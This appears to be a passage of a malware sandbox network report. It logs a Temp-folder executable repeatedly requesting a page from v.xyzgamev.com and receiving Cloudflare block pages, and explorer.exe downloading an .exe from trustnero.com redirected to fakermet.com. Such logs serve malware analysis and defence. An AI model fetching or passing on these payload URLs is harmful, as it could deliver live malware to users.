2022-08-31 12:29:26 UTC	4941	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:26 UTC	4943	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:26 UTC	4944	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49797	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:27 UTC	4944	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:27 UTC	4944	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:42 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Oe%2BUN9xKsaazBCgWZ2LJzqIYPawr33nmucErGOK6lAU8Z8KZW7EHtdEKqrzxqivHY2g9DyBnhiI8bW5UXLko5dELUmh%2FmaNBC4HSssrt7nX8cYvsj8csAi0LzOK7l7846g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c59838f89b7a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:27 UTC	4944	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:27 UTC	4945	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
2022-08-31 12:29:27 UTC	4946	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:29:27 UTC	4948	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:29:27 UTC	4949	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49798	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:28 UTC	4949	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:28 UTC	4949	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:43 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZKd0o6wtCGqLlWkwDL6LJ9oozX8o7rcbJLNjY2k0PDnRoBBu59zpiU9MLOnYQVaDsl9hqcekb7pZ1F98x96YUNc4I8n4BByUSiTqgXKVGBBDai4lseYVkpUJjSQbjGArFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c59c1c5f921f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:28 UTC	4950	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:28 UTC	4950	IN	Data Raw: 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 Data Ascii: dn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled
2022-08-31 12:29:28 UTC	4952	IN	Data Raw: 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 74 74 61 63 Data Ascii: ns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online attac
2022-08-31 12:29:28 UTC	4953	IN	Data Raw: 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b Data Ascii: mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">•
2022-08-31 12:29:28 UTC	4954	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49744	104.21.1.91	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:28:58 UTC	486	OUT	GET /608d2d360fdf2ef9b5e53e7761a71eb3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: trustnero.com
2022-08-31 12:28:58 UTC	487	IN	HTTP/1.1 307 Temporary Redirect Date: Wed, 31 Aug 2022 12:28:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://fakermet.com/48fccb3e0de4acd2e01df251682513fe/608d2d360fdf2ef9b5e53e7761a71eb3.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0Ae6b1ZQEZMGyvgF0shXN%2B8mJI2dlfmX3jCdCAFH2A1ncnV7xYa%2BXH4EwplAvPEF76lavZrRpkBFk%2FKykZWW%2Bf4QRmbC%2FMCM47oMAel88XxC0HUDpago6Mgbbn31R5lk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c4e05bd476f9-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:28:58 UTC	487	IN	Data Raw: 37 65 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 6b 65 72 6d 65 74 2e 63 6f 6d 2f 34 38 66 63 63 62 33 65 30 64 65 34 61 63 64 32 65 30 31 64 66 32 35 31 36 38 32 35 31 33 66 65 2f 36 30 38 64 32 64 33 36 30 66 64 66 32 65 66 39 62 35 65 35 33 65 37 37 36 31 61 37 31 65 62 33 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7e<a href="https://fakermet.com/48fccb3e0de4acd2e01df251682513fe/608d2d360fdf2ef9b5e53e7761a71eb3.exe">Temporary Redirect</a>.
2022-08-31 12:28:58 UTC	487	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49799	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:29 UTC	4954	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:29 UTC	4954	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:44 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KrXzy7e90vFSIqRDONQ7zzEWya2eJyLHQZg%2F6WFQ%2FkFV63SZxCQGT6MsrtdBFTmZ73v8OVfyZR68l9mHE66oRw0E7IfbWwfFF3qPiDNRR%2FwdovLBUZyQrvRUJxXXijsE1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5a13f85bb7f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:29 UTC	4955	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:29 UTC	4956	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:29 UTC	4957	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:29 UTC	4958	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:29 UTC	4959	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49800	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:30 UTC	4959	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:30 UTC	4959	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:45 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=igswAU9x%2BIXfETfHv9sPcfb%2Bj46w5%2Fvym7CD%2FVoT%2BJRucZoZz2NAn4avmcWtlzGi8NGz9ejl2vmiJips8XhOKxN74%2BwS44qHxxDkbuBLwR9XhnZZtO3yT5AIYTV%2FckEdjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5a788b60706-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:30 UTC	4960	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 